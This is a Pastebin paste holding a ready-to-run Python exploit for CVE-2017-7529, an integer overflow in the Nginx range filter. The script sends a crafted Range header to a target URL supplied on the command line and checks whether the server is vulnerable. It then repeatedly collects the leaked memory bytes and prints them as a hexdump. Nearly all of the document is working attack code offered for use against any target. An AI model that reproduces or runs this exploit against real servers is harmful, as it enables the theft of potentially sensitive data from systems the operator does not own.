Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2020
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.06 KB | None | 0 0
  1. #  Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable
  2. # to integer overflow vulnerability in nginx range filter module resulting into leak
  3. # of potentially sensitive information triggered by specially crafted request.
  4. # * CVE-2017-7529
  5. # - By @BlackViruScript / @Black#4544
  6. import urllib.parse, requests, argparse
  7. global colorama, termcolor
  8. try:
  9.     import colorama, termcolor
  10.     colorama.init(autoreset=True)
  11. except Exception as e:
  12.     termcolor = colorama = None
  13.  
  14. colored = lambda text, color="", dark=False: termcolor.colored(text, color or "white", attrs=["dark"] if dark else []) if termcolor and colorama else text
  15.  
  16. class Exploit(requests.Session):
  17.     buffer = set()
  18.     def __init__(self, url):
  19.         length = int(requests.get(url).headers.get("Content-Length", 0)) + 623
  20.         super().__init__()
  21.         self.headers = {"Range": f"bytes=-{length},-9223372036854{776000 - length}"}
  22.         self.target = urllib.parse.urlsplit(url)
  23.    
  24.     def check(self):
  25.         try:
  26.             response = self.get(self.target.geturl())
  27.             return response.status_code == 206 and "Content-Range" in response.text
  28.         except Exception as e:
  29.             return False
  30.    
  31.     def hexdump(self, data):
  32.         for b in range(0, len(data), 16):
  33.             line = [char for char in data[b: b + 16]]
  34.             print(colored(" -  {:04x}: {:48} {}".format(b, " ".join(f"{char:02x}" for char in line), "".join((chr(char) if 32 <= char <= 126 else ".") for char in line)), dark=True))
  35.    
  36.     def execute(self):
  37.         vulnerable = self.check()
  38.         print(colored(f"[{'+' if vulnerable else '-'}] {exploit.target.netloc} is Vulnerable: {str(vulnerable).upper()}", "white" if vulnerable else "yellow"))
  39.         if vulnerable:
  40.             data = b""
  41.             while len(self.buffer) < 0x80:
  42.                 try:
  43.                     response = self.get(self.target.geturl())
  44.                     for line in response.content.split(b"\r\n"):
  45.                         if line not in self.buffer:
  46.                             data += line
  47.                             self.buffer.add(line)
  48.                 except Exception as e:
  49.                     print()
  50.                     print(colored(f"[!] {type(e).__name__}:", "red"))
  51.                     print(colored(f" -  {e}", "red", True))
  52.                     break
  53.                 except KeyboardInterrupt:
  54.                     print()
  55.                     print(colored("[!] Keyboard Interrupted! (Ctrl+C Pressed)", "red"))
  56.                     break
  57.                 print(colored(f"[i] Receiving Data [{len(data)} bytes] ..."), end = "\r")
  58.             if data:
  59.                 print()
  60.                 self.hexdump(data)
  61.  
  62. if __name__ == "__main__":
  63.     parser = argparse.ArgumentParser(prog = "CVE-2017-7529",
  64.                                      description = "Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.",
  65.                                      epilog = "By: @BlackViruScript / @Black#4544")
  66.     parser.add_argument("url", type = str, help = "Target URL.")
  67.     parser.add_argument("-c", "--check", action = "store_true", help = "Only check if Target is vulnerable.")
  68.     args = parser.parse_args()
  69.     try:
  70.         exploit = Exploit(args.url)
  71.         if args.check:
  72.             vulnerable = exploit.check()
  73.             print(colored(f"[{'+' if vulnerable else '-'}] {exploit.target.netloc} is Vulnerable: {str(vulnerable).upper()}", "white" if vulnerable else "yellow"))
  74.         else:
  75.             try:
  76.                 exploit.execute()
  77.             except Exception as e:
  78.                 print(colored(f"[!] {type(e).__name__}:", "red"))
  79.                 print(colored(f" -  {e}", "red", True))
  80.     except KeyboardInterrupt:
  81.         print(colored("[!] Keyboard Interrupted! (Ctrl+C Pressed)", "red"))
  82.     except Exception as e:
  83.         print(colored(f"[!] {urllib.parse.urlsplit(args.url).netloc}: {type(e).__name__}", "red"))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement